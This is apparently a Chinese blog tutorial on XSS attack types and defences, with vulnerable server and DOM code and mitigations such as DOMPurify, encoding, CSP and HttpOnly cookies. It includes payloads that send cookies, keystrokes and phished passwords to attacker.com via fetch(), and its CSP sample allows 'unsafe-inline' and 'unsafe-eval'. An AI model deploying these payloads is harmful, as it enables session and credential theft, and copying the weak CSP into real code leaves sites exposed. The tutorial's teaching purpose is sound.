前端常用XSS攻击演示与防御方案解析

目录

  • 一、XSS攻击类型及示例
    • [1.1 反射型XSS (Reflected XSS)](#1.1 反射型XSS (Reflected XSS))
    • [1.2 存储型XSS (Stored XSS)](#1.2 存储型XSS (Stored XSS))
    • [1.3 DOM型XSS](#1.3 DOM型XSS)
    • [1.4 基于属性的XSS](#1.4 基于属性的XSS)
  • 二、XSS攻击载荷示例
    • [2.1 窃取Cookie](#2.1 窃取Cookie)
    • [2.2 键盘记录器](#2.2 键盘记录器)
    • [2.3 钓鱼攻击](#2.3 钓鱼攻击)
  • 三、防御解决方案
    • [3.1 输入验证和过滤](#3.1 输入验证和过滤)
    • [3.2 输出编码](#3.2 输出编码)
    • [3.3 使用安全API](#3.3 使用安全API)
    • [3.4 设置Content Security Policy (CSP)](#3.4 设置Content Security Policy (CSP))
    • [3.5 使用HttpOnly和Secure Cookie](#3.5 使用HttpOnly和Secure Cookie)
  • 四、完整的安全示例
  • 五、最佳实践建议
  • 六、总结

一、XSS攻击类型及示例

1.1 反射型XSS (Reflected XSS)

javascript 复制代码
<!-- 恶意攻击页面 -->
<!DOCTYPE html>
<html>
<head>
    <title>恶意页面</title>
</head>
<body>
    <h1>点击这个链接窃取用户Cookie</h1>
    <a href="http://vulnerable-site.com/search?q=<script>alert('XSS')</script>">
        点击查看搜索结果
    </a>
</body>
</html>
javascript 复制代码
// 后端漏洞代码示例(Node.js)
const express = require('express');
const app = express();

// 存在漏洞的搜索接口
app.get('/search', (req, res) => {
    const query = req.query.q;
    // 危险:直接输出用户输入到HTML
    res.send(`<h1>搜索结果: ${query}</h1>`);
});

1.2 存储型XSS (Stored XSS)

javascript 复制代码
<!-- 用户评论系统漏洞 -->
<!DOCTYPE html>
<html>
<body>
    <div id="comments">
        <!-- 恶意评论已被存储 -->
        <div class="comment">
            <script>
                // 窃取用户cookie并发送到攻击者服务器
                fetch('http://attacker.com/steal?cookie=' + document.cookie);
            </script>
        </div>
    </div>
</body>
</html>
javascript 复制代码
// 后端漏洞代码(存储评论)
app.post('/comment', (req, res) => {
    const comment = req.body.comment;
    // 危险:未过滤直接存入数据库
    db.saveComment(comment);
    res.send('评论成功');
});

// 读取评论时
app.get('/comments', (req, res) => {
    const comments = db.getComments();
    // 危险:直接输出到页面
    res.render('comments', { comments });
});

1.3 DOM型XSS

javascript 复制代码
<!DOCTYPE html>
<html>
<body>
    <input type="text" id="userInput" placeholder="输入内容">
    <button onclick="displayInput()">显示</button>
    <div id="output"></div>

    <script>
        // 存在DOM XSS漏洞的代码
        function displayInput() {
            const userInput = document.getElementById('userInput').value;
            // 危险:使用innerHTML直接插入
            document.getElementById('output').innerHTML = 
                "您输入的是: " + userInput;
        }
    </script>
</body>
</html>

1.4 基于属性的XSS

javascript 复制代码
// 漏洞示例
function setProfileImage() {
    const username = getURLParameter('username');
    // 危险:直接将用户输入设置为img属性
    document.getElementById('avatar').innerHTML = 
        `<img src="avatar.png" onerror="alert('XSS from ${username}')">`;
}

二、XSS攻击载荷示例

2.1 窃取Cookie

javascript 复制代码
<script>
fetch('http://attacker.com/steal?cookie=' + 
      encodeURIComponent(document.cookie));
</script>

2.2 键盘记录器

javascript 复制代码
<script>
let keystrokes = '';
document.onkeypress = function(e) {
    keystrokes += String.fromCharCode(e.keyCode);
    // 每10秒发送一次记录
    if (keystrokes.length % 100 === 0) {
        fetch('http://attacker.com/log?keys=' + 
              encodeURIComponent(keystrokes));
    }
};
</script>

2.3 钓鱼攻击

javascript 复制代码
<script>
// 创建虚假登录表单
const fakeForm = `
    <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999">
        <div style="background:white;padding:20px;margin:100px auto;width:300px">
            <h2>请重新登录</h2>
            <input type="text" id="username" placeholder="用户名"><br>
            <input type="password" id="password" placeholder="密码"><br>
            <button onclick="stealCredentials()">登录</button>
        </div>
    </div>
`;
document.body.innerHTML += fakeForm;

function stealCredentials() {
    const username = document.getElementById('username').value;
    const password = document.getElementById('password').value;
    fetch('http://attacker.com/phish?u=' + username + '&p=' + password);
}
</script>

三、防御解决方案

3.1 输入验证和过滤

javascript 复制代码
// 使用DOMPurify库
const DOMPurify = require('dompurify');

function sanitizeInput(input) {
    return DOMPurify.sanitize(input, {
        ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
        ALLOWED_ATTR: ['href', 'title']
    });
}

// 严格验证
function validateInput(input) {
    // 只允许字母、数字和基本标点
    const pattern = /^[a-zA-Z0-9\s.,!?'"-]+$/;
    return pattern.test(input);
}

3.2 输出编码

javascript 复制代码
// HTML实体编码
function encodeHTML(str) {
    return str.replace(/[&<>"']/g, function(match) {
        return {
            '&': '&amp;',
            '<': '&lt;',
            '>': '&gt;',
            '"': '&quot;',
            "'": '&#39;'
        }[match];
    });
}

// 属性编码
function encodeAttribute(str) {
    return str.replace(/["'&<>]/g, encodeHTML);
}

3.3 使用安全API

javascript 复制代码
// 安全的DOM操作
function safeDOMUpdate() {
    const userInput = document.getElementById('input').value;
    const output = document.getElementById('output');
    
    // 安全:使用textContent
    output.textContent = userInput;
    
    // 安全:使用setAttribute
    output.setAttribute('data-user', encodeAttribute(userInput));
    
    // 避免使用不安全的API
    // output.innerHTML = userInput; // 危险!
    // output.outerHTML = userInput; // 危险!
}

3.4 设置Content Security Policy (CSP)

javascript 复制代码
<!-- HTTP头或meta标签 -->
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; 
               script-src 'self' https://trusted-cdn.com;
               style-src 'self' 'unsafe-inline';
               img-src 'self' data: https:">
javascript 复制代码
// Node.js中设置CSP头
app.use((req, res, next) => {
    res.setHeader(
        'Content-Security-Policy',
        "default-src 'self'; " +
        "script-src 'self' 'unsafe-eval' 'unsafe-inline'; " +
        "style-src 'self' 'unsafe-inline'; " +
        "img-src 'self' data: https:; " +
        "connect-src 'self';"
    );
    next();
});
javascript 复制代码
// 设置安全的Cookie
app.use(session({
    secret: 'your-secret',
    cookie: {
        httpOnly: true,    // 防止JavaScript访问
        secure: true,      // 仅HTTPS传输
        sameSite: 'strict' // 防止CSRF
    }
}));

四、完整的安全示例

javascript 复制代码
<!DOCTYPE html>
<html>
<head>
    <title>安全的用户评论系统</title>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.3.8/purify.min.js"></script>
</head>
<body>
    <h1>安全评论系统</h1>
    
    <div id="commentSection">
        <!-- 评论将通过安全的方式插入 -->
    </div>
    
    <textarea id="commentInput" placeholder="输入评论"></textarea>
    <button onclick="submitComment()">提交评论</button>

    <script>
        // 安全处理用户输入
        function submitComment() {
            const rawInput = document.getElementById('commentInput').value;
            
            // 1. 验证输入
            if (!validateComment(rawInput)) {
                alert('评论包含非法字符');
                return;
            }
            
            // 2. 净化HTML
            const cleanInput = DOMPurify.sanitize(rawInput, {
                ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br'],
                ALLOWED_ATTR: []
            });
            
            // 3. 安全插入DOM
            const commentDiv = document.createElement('div');
            commentDiv.className = 'comment';
            commentDiv.textContent = cleanInput;
            
            document.getElementById('commentSection').appendChild(commentDiv);
        }
        
        function validateComment(input) {
            // 基本的验证逻辑
            if (input.length > 1000) return false;
            const dangerousPattern = /<script|javascript:|on\w+=/i;
            return !dangerousPattern.test(input);
        }
    </script>
</body>
</html>

五、最佳实践建议

  • 开发阶段

    对所有用户输入进行验证和过滤

    使用安全的框架和模板引擎(如React、Vue等)

    实施白名单策略而非黑名单

    定期进行安全代码审查

  • 部署阶段

    启用CSP(Content Security Policy)

    设置HttpOnly和Secure Cookie

    使用Subresource Integrity (SRI)

    实施X-XSS-Protection头

  • 监控和维护

    定期进行安全扫描和渗透测试

    记录和监控可疑活动

    保持依赖库更新

    实施WAF(Web应用防火墙)

六、总结

  • XSS攻击是Web应用最常见的安全威胁之一,其危害包括:

    窃取用户凭证和会话信息

    发起钓鱼攻击

    键盘记录和屏幕捕获

    网站篡改和恶意重定向

  • 核心防御策略:

    永不信任用户输入 - 所有输入都应视为潜在的恶意输入

    实施深度防御 - 采用多层安全措施

    正确的编码输出 - 根据上下文使用适当的编码方式

    利用安全机制 - 使用CSP、HttpOnly Cookie等现代浏览器安全特性

    持续教育和测试 - 保持团队安全意识,定期进行安全测试

通过实施这些措施,可以显著降低XSS攻击的风险,保护用户数据和网站安全。记住,安全是一个持续的过程,需要不断更新和改进。

相关推荐
问今域中2 小时前
Vue的computed用法解析
前端·javascript·vue.js
扶苏10022 小时前
详解Vue3的provide和inject
前端·javascript·vue.js
武帝为此2 小时前
【Shell 函数库介绍】
前端·chrome
yuki_uix3 小时前
GraphQL 重塑:从 API 语言到 AI 时代的"逻辑神经系统"
前端·graphql
奋斗吧程序媛3 小时前
Vue3初体验(2)
前端·javascript·vue.js
css趣多多3 小时前
vue3的ref响应式,取值的时候自动补全value的设置,以及两种修改方式
前端
学习3人组3 小时前
Win11 使用 Proxifier 强制本地流量通过 Fiddler Classic 代理指南
前端·测试工具·fiddler
超绝大帅哥3 小时前
vue2vue3响应式
前端
Hhang3 小时前
Pageindex -- 新一代的文档智能检索
前端·人工智能